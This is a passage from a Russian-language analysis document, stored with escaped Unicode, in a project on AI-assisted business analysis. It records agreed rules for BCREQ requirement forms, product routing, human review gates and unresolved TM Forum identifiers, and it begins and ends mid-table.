\u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0440\u0438\u0441\u043a \u043f\u043e\u0434\u043c\u0435\u043d\u044b \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0441\u0445\u0435\u043c\u043e\u0439. |\\n| `BCREQ-765.pdf`, 8 \u0441\u0442\u0440\u0430\u043d\u0438\u0446 | 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\u043f\u0440\u043e\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u043e\u0441\u0442\u044c, \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0435 \u0432\u043e\u043f\u0440\u043e\u0441\u044b \u0438 \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0438 \u043d\u0435 \u0442\u0435\u0440\u044f\u044e\u0442\u0441\u044f.\\n\\n## \u0418\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u0444\u043e\u0440\u043c\u044b\\n\\n| \u0420\u0430\u0437\u0434\u0435\u043b BCREQ | \u0421\u043c\u044b\u0441\u043b | \u0421\u043b\u043e\u0442\u044b \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0439 \u043c\u043e\u0434\u0435\u043b\u0438 |\\n=== docs/analysis/2026-09-24-architecture-convergence-and-readiness.md\\n\\n# \u0421\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0435 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u044b BCREQ \u0438 \u0433\u043e\u0442\u043e\u0432\u043d\u043e\u0441\u0442\u044c Source \u043a \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438\\n\\n## \u0412\u0435\u0440\u0434\u0438\u043a\u0442\\n\\n**\u041c\u043e\u0436\u043d\u043e \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0438\u0442\u044c \u043a \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f\u043c \u043c\u043e\u0434\u0435\u043b\u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u0432 \u0438 Source \u043f\u0430\u043a\u0435\u0442\u0430.** \u0414\u043b\u044f\\n\u0440\u0435\u0448\u0435\u043d\u0438\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u044e\u0442 \u0444\u043e\u0440\u043c\u0443 BCREQ, \u0440\u043e\u043b\u0438 \u0433\u0435\u0439\u0442\u043e\u0432 \u0438 \u0433\u0440\u0430\u043d\u0438\u0446\u0443\\nWorking \u2192 Release, \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0435 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u043e\u0435 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0435 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f.\\n\u042d\u0442\u043e \u043d\u0435 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435, \u0447\u0442\u043e \u0442\u0435\u043a\u0443\u0449\u0430\u044f Distribution \u0443\u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043f\u0440\u0438\u043d\u044f\u0442\u044b\u0435 RFC.\\n\u041f\u0435\u0440\u0435\u0445\u043e\u0434 \u043d\u0430 \u043d\u043e\u0432\u044b\u0439 runtime \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0439 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438, \u0442\u0435\u0441\u0442\u043e\u0432 \u0438 human review.\\n\\n\u041f\u043e\u043b\u043d\u043e\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u043e \u00abMANGO-first \u043f\u0440\u0438 \u226580% \u0448\u0430\u0431\u043b\u043e\u043d\u043d\u044b\u0445 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439 \u0432\u043d\u0435\u0448\u043d\u0435\u0433\u043e \u0422\u0417\u00bb \u043f\u043e\u043a\u0430\\n\u043d\u0435\u043b\u044c\u0437\u044f \u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c: \u043d\u0435\u0442 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u043e\u0433\u043e versioned \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430 \u0448\u0430\u0431\u043b\u043e\u043d\u043e\u0432, \u0435\u0434\u0438\u043d\u0438\u0446\u044b\\n\u0441\u0447\u0451\u0442\u0430 \u0438 \u043f\u0440\u043e\u0446\u0435\u0434\u0443\u0440\u044b \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0441\u043e\u0432\u043f\u0430\u0434\u0435\u043d\u0438\u0439. \u0422\u043e\u0447\u043d\u044b\u0439 TM Forum binding \u0442\u043e\u0436\u0435 \u043d\u0435\\n\u0437\u0430\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0431\u0435\u0437 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0433\u043e authoritative snapshot. \u042d\u0442\u0438 \u043f\u0440\u043e\u0431\u0435\u043b\u044b \u043d\u0435 \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u044e\u0442\\nSource-\u0441\u0445\u0435\u043c\u0443 \u0441 \u044f\u0432\u043d\u044b\u043c\u0438 `unresolved` \u0438 `not-applicable` \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f\u043c\u0438 \u0438 \u043d\u0435 \u0434\u0430\u044e\u0442\\n\u043f\u0440\u0430\u0432\u0430 \u043f\u043e\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0442\u044c \u043f\u043e\u0445\u043e\u0436\u0438\u0435 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u044f \u043a\u0430\u043a \u0442\u043e\u0447\u043d\u044b\u0435 ID.\\n\\n## \u0413\u0440\u0430\u043d\u0438\u0446\u0430 \u0438 \u043c\u0435\u0442\u043e\u0434\\n\\n\u041f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u044b [issue #609](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/609)\\n\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0439 \u043a \u043d\u0435\u043c\u0443 \u0434\u0438\u0430\u043b\u043e\u0433, [PR #602](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/602),\\n[PR #604](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/604),\\n[PR #606](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/606),\\n[PR #608](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/608),\\n\u043f\u0440\u043e\u0435\u043a\u0442\u043d\u044b\u0439 README, \u0442\u0440\u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u043d\u044b\u0445 RFC, \u0434\u0432\u0430 \u0430\u043d\u0430\u043b\u0438\u0437\u0430, \u043c\u043e\u0434\u0443\u043b\u0438 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438,\\n\u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438, route/skills/schemas Distribution \u0438 \u0442\u0435\u0441\u0442\u044b \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f. \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430\\n\u0441\u0441\u044b\u043b\u043e\u043a \u043f\u0440\u043e\u0448\u043b\u0430 \u043f\u043e Markdown-\u0444\u0430\u0439\u043b\u0430\u043c \u043f\u0440\u043e\u0435\u043a\u0442\u0430. \u041f\u0435\u0440\u0432\u0438\u0447\u043d\u044b\u0439 \u0444\u0430\u043a\u0442 \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e runtime\\n\u0432\u0437\u044f\u0442 \u0438\u0437 [route `n0`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/routes/rg-bcreq-v1.yaml)\\n\u0438 [\u043d\u0430\u0432\u044b\u043a\u0430 \u0430\u0442\u0440\u0438\u0431\u0443\u0446\u0438\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/.gigacode/skills/product-attribution/SKILL.md),\\n\u0430 \u043d\u0435 \u0438\u0437 \u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437\u0430 \u043f\u0440\u0435\u0436\u043d\u0435\u0433\u043e \u0430\u0441\u0441\u0438\u0441\u0442\u0435\u043d\u0442\u0430. \u041f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 issue \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u043e \u0442\u043e\u043b\u044c\u043a\u043e\\n\u043a\u0430\u043a \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0438 \u043d\u0435 \u043a\u043e\u043f\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439.\\n\\n\u0410\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u044b \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u044b \u043d\u0430 \u0433\u0440\u0430\u043d\u0438\u0446\u0435: \u043f\u0440\u043e\u0441\u0442\u043e\u0439 `n0` \u0441 \u0432\u044b\u0431\u043e\u0440\u043e\u043c BA \u0443\u0436\u0435 \u0435\u0441\u0442\u044c, \u043d\u043e \u043d\u0435\\n\u0432\u044b\u0447\u0438\u0441\u043b\u044f\u0435\u0442 \u043f\u0435\u0440\u0432\u0438\u0447\u043d\u0443\u044e \u043e\u0441\u044c \u0438\u0437 \u0442\u0438\u043f\u0430 \u0440\u0430\u0431\u043e\u0442\u044b; 80-\u043f\u0440\u043e\u0446\u0435\u043d\u0442\u043d\u043e\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u043e \u0431\u0435\u0437 \u0448\u0430\u0431\u043b\u043e\u043d\u043d\u043e\u0433\u043e\\n\u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430 \u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u043c; \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0439 SID Overview \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\\n\u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0435 \u0434\u043e\u043c\u0435\u043d\u044b, \u043d\u043e \u043d\u0435 \u0437\u0430\u043c\u0435\u043d\u044f\u0435\u0442 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 capability. \u041f\u043e\u044d\u0442\u043e\u043c\u0443\\n\u0432\u044b\u0431\u0440\u0430\u043d\u044b \u044f\u0432\u043d\u044b\u0439 \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 \u043d\u0430\u043c\u0435\u0440\u0435\u043d\u0438\u044f, \u0434\u0432\u0430 \u0442\u0438\u043f\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 industry binding \u0438\\n\u043e\u0442\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0439 \u0438\u0437\u043c\u0435\u0440\u0438\u043c\u044b\u0439 \u043f\u043e\u0440\u043e\u0433.\\n\\n## \u0421\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0443\u0442\u043e\u0447\u043d\u0435\u043d\u0438\u044f \u0438 \u0434\u043e\u043c \u0444\u0438\u043a\u0441\u0430\u0446\u0438\u0438\\n\\n| \u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a | \u0418\u0442\u043e\u0433\u043e\u0432\u043e\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u043e | \u0414\u043e\u043c \u0438 \u0433\u0440\u0430\u043d\u0438\u0446\u0430 |\\n| --- | --- | --- |\\n| #602: 14 \u0441\u043b\u043e\u0442\u043e\u0432, \u0441\u0435\u043c\u044c \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432, L1\u2013L4, \u0442\u0440\u0438 Golden Form | 14 \u0441\u043b\u043e\u0442\u043e\u0432 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0439 \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u043a\u043e\u0439; L1 FR \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u0443\u044e \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u044c, L2\u2013L4 \u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u044e\u0442 \u0435\u0451. \u0422\u0440\u0438 \u0444\u043e\u0440\u043c\u044b \u043f\u0440\u0438\u043d\u044f\u0442\u044b \u043a\u0430\u043a \u0446\u0435\u043b\u0435\u0432\u044b\u0435 \u043a\u0430\u043d\u0434\u0438\u0434\u0430\u0442\u044b. | [RFC \u0430\u0431\u0441\u0442\u0440\u0430\u043a\u0446\u0438\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-bcreq-abstraction-and-product-routing.md) \u0438 [\u0430\u043d\u0430\u043b\u0438\u0437 \u0444\u043e\u0440\u043c](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-bcreq-golden-forms-and-feasibility.md); \u043f\u0435\u0440\u0435\u043d\u043e\u0441 \u0432 runtime Golden Set \u043f\u043e\u0441\u043b\u0435 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0433\u043e \u0442\u0435\u0441\u0442\u0430 \u0438 human gate. |\\n| #602: Product routing | \u0422\u0438\u043f \u0440\u0430\u0431\u043e\u0442\u044b \u0437\u0430\u0434\u0430\u0451\u0442 \u043f\u0435\u0440\u0432\u0438\u0447\u043d\u0443\u044e \u043e\u0441\u044c: MANGO-\u0434\u043e\u0440\u0430\u0431\u043e\u0442\u043a\u0430/KB \u2014 MANGO; \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u0440\u0430\u043a\u0442\u0438\u043a \u0438 \u0432\u043d\u0435\u0448\u043d\u0435\u0433\u043e \u0422\u0417 \u2014 \u043e\u0442\u0440\u0430\u0441\u043b\u044c, \u0437\u0430\u0442\u0435\u043c MANGO. \u0412\u0441\u0435 unmatched \u0438 uncertain \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u044e\u0442\u0441\u044f. | [RFC \u0430\u0431\u0441\u0442\u0440\u0430\u043a\u0446\u0438\u0438 \u00a75](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-bcreq-abstraction-and-product-routing.md); `P-08` \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u043e\u0446\u0435\u043d\u043a\u043e\u0439 \u0422\u0417, \u0430 \u043d\u0435 \u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435\u043c BCREQ \u043f\u043e [\u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/process-taxonomy/20-taxonomy.md). |\\n| #602: \u041f\u043e\u0440\u043e\u0433 80% | \u0414\u043e versioned \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430 \u0438 \u043f\u0440\u0430\u0432\u0438\u043b \u043f\u043e\u0434\u0441\u0447\u0451\u0442\u0430 \u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u043c \u0443\u0441\u043b\u043e\u0432\u0438\u0435\u043c. \u041f\u0440\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u0431\u0430\u0437\u044b \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u0431\u0438\u0440\u0430\u0442\u044c \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u043f\u043e\u0438\u0441\u043a\u0430, \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u044f \u043f\u043e\u043b\u043d\u044b\u0439 \u043e\u0442\u0447\u0451\u0442 \u043e \u043f\u043e\u043a\u0440\u044b\u0442\u0438\u0438. | [RFC \u0430\u0431\u0441\u0442\u0440\u0430\u043a\u0446\u0438\u0438 \u00a75](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-bcreq-abstraction-and-product-routing.md); \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u044e\u0449\u0438\u0439 \u0432\u0445\u043e\u0434 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0443\u043a\u0430\u0437\u0430\u043d \u043d\u0438\u0436\u0435. |\\n| #602 \u0438 #604: `G-human` \u0438 `n0` | \u0410\u0433\u0435\u043d\u0442 \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u0442 mapping \u0441 \u043f\u0440\u0430\u0432\u0438\u043b\u043e\u043c, evidence, \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u0430\u043c\u0438, \u0440\u0438\u0441\u043a\u043e\u043c \u0438 \u043c\u043e\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0435\u0439; BA \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442/\u043e\u0442\u043a\u043b\u043e\u043d\u044f\u0435\u0442 mapping \u0441 \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439, \u043d\u0435 \u043f\u0440\u0438\u0434\u0443\u043c\u044b\u0432\u0430\u0435\u0442 \u043c\u0435\u0442\u043e\u0434 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430. `n0` \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0440\u0430\u043d\u043d\u0438\u043c \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u043c \u0433\u0435\u0439\u0442\u043e\u043c \u0434\u043b\u044f BCREQ. | [RFC \u0430\u0431\u0441\u0442\u0440\u0430\u043a\u0446\u0438\u0438 \u00a75](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-bcreq-abstraction-and-product-routing.md); \u0442\u0435\u043a\u0443\u0449\u0438\u0439 [route](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/routes/rg-bcreq-v1.yaml) \u043f\u043e\u043a\u0430 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442 \u043b\u0438\u0448\u044c MANGO-\u0446\u0435\u043f\u043e\u0447\u043a\u0443. |\\n| #602: Content profiles | \u041f\u0440\u043e\u0444\u0438\u043b\u0438 API, \u041b\u041a, \u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u0439 \u043a\u043e\u043d\u0442\u0430\u043a\u0442-\u0446\u0435\u043d\u0442\u0440\u0430, \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u0439 \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a\u0430 \u0438 AI/\u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u0441\u043e\u0447\u0435\u0442\u0430\u044e\u0442\u0441\u044f. \u0420\u043e\u0431\u043e\u0442\u044b \u0438 \u0440\u0435\u0447\u0435\u0432\u0430\u044f \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u043e\u0434\u0438\u043d AI-\u043f\u0440\u043e\u0444\u0438\u043b\u044c \u0441 \u0440\u0430\u0437\u043d\u044b\u043c\u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u043c\u0438 bindings. \u0412\u0438\u0434\u0435\u043e \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e \u0444\u0430\u043a\u0442\u0443 \u043d\u0430\u043b\u0438\u0447\u0438\u044f capability. | [RFC \u0430\u0431\u0441\u0442\u0440\u0430\u043a\u0446\u0438\u0438 \u00a76](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-bcreq-abstraction-and-product-routing.md); \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0435 \u0444\u0430\u043a\u0442\u044b \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u044b [\u0441\u043d\u0438\u043c\u043a\u043e\u043c MANGO](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/product-taxonomy/mango-products.yaml). |\\n| #606: Pre-decomposition \u0438 \u0442\u0440\u0438 \u0433\u0435\u0439\u0442\u0430 | Evidence, goal/task/boundary, as-is\u2192delta, product binding \u0438 claim register \u0441\u043e\u0437\u0434\u0430\u044e\u0442\u0441\u044f \u0432 Working \u0434\u043e FR/UC/NFR. `G-mach` \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443, `G-semantic` \u2014 \u0441\u043c\u044b\u0441\u043b \u0441 rationale, `G-human` \u2014 \u0441\u043f\u043e\u0440\u043d\u044b\u0439 \u0432\u044b\u0431\u043e\u0440 \u0438 \u043f\u0440\u0438\u0451\u043c\u043a\u0443. | [\u0424\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md) \u0438 \u043e\u0431\u0430 RFC; \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 runtime contract \u0435\u0449\u0451 \u043d\u0435 \u0441\u043e\u0431\u0440\u0430\u043d. |\\n| #606: TM Forum + SID | \u0422\u043e\u0447\u043d\u044b\u0435 ID TM Forum \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f `unresolved` \u0431\u0435\u0437 snapshot; SID \u2014 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u0442\u0438\u043f\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0438 \u043a\u0430\u043d\u0434\u0438\u0434\u0430\u0442 \u0434\u043b\u044f \u044d\u0441\u043a\u0430\u043b\u0430\u0446\u0438\u0438, \u0430 \u043d\u0435 \u0437\u0430\u043c\u0435\u043d\u0430 capability/eTOM ID. \u0412\u043b\u0430\u0434\u0435\u043b\u0435\u0446 \u0441\u0447\u0451\u043b \u0442\u0435\u043a\u0443\u0449\u0443\u044e \u0432\u044b\u0431\u043e\u0440\u043a\u0443 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e\u0439; 23 \u043d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0447\u0430\u0442\u0430 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0433\u0440\u0430\u043d\u0438\u0446\u0435\u0439 evidence. | [RFC \u0430\u0431\u0441\u0442\u0440\u0430\u043a\u0446\u0438\u0438 \u00a710](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-bcreq-abstraction-and-product-routing.md) \u0438 [\u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md). \u041e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u043e \u0440\u043e\u043b\u0438 SID \u2014 [TM Forum Information Framework](https://www.tmforum.org/open-digital-architecture/information-framework-sid/). |\\n| #608: \u043f\u044f\u0442\u044c \u0440\u0435\u0448\u0435\u043d\u0438\u0439 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440\u0430 | Working \u2014 \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0440\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0439 baseline; Release \u2014 \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u044f; 2.3 \u00ab\u0413\u0440\u0430\u043d\u0438\u0446\u044b \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f\u00bb; NFR\u2192FR \u0438 compatibility closure; pre/post gates; \u0440\u0430\u0437\u0434\u0435\u043b 4 \u00ab\u0424\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0439 \u0434\u0438\u0437\u0430\u0439\u043d \u0440\u0435\u0448\u0435\u043d\u0438\u044f\u00bb. | [RFC Working \u2192 Release](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-bcreq-working-release-pipeline.md), \u0441\u0442\u0430\u0442\u0443\u0441 `accepted`. |\\n\\n## \u0421\u043a\u0432\u043e\u0437\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0435\u0439\\n\\n| \u041a\u043e\u043d\u0442\u0443\u0440 | \u041f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0439 \u0444\u0430\u043a\u0442 | \u0418\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0438 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u044c |\\n| --- | --- | --- |\\n| Scope \u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442 | [README \u043f\u0440\u043e\u0435\u043a\u0442\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/README.md) \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442 `mango-only` \u043a\u0430\u043a \u0432\u0435\u0441\u044c \u043f\u043e\u0440\u0442\u0444\u0435\u043b\u044c; [MANGO](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/product-taxonomy/mango-products.yaml) \u0438 [telecom](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/product-taxonomy/telecom-products.yaml) \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442 42 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u044f. \u041f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u0445\u0440\u0430\u043d\u0438\u0442 prose, \u043d\u0435 \u0442\u043e\u0447\u043d\u044b\u0435 TM Forum IDs. | \u0421\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u044c provenance \u043f\u0440\u0438 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438; \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0442\u0438\u043f\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 ID \u0442\u043e\u043b\u044c\u043a\u043e \u0438\u0437 \u0440\u0430\u0437\u0440\u0435\u0448\u0451\u043d\u043d\u043e\u0433\u043e snapshot. |\\n| Process \u2192 route | [\u0422\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/process-taxonomy/20-taxonomy.md) 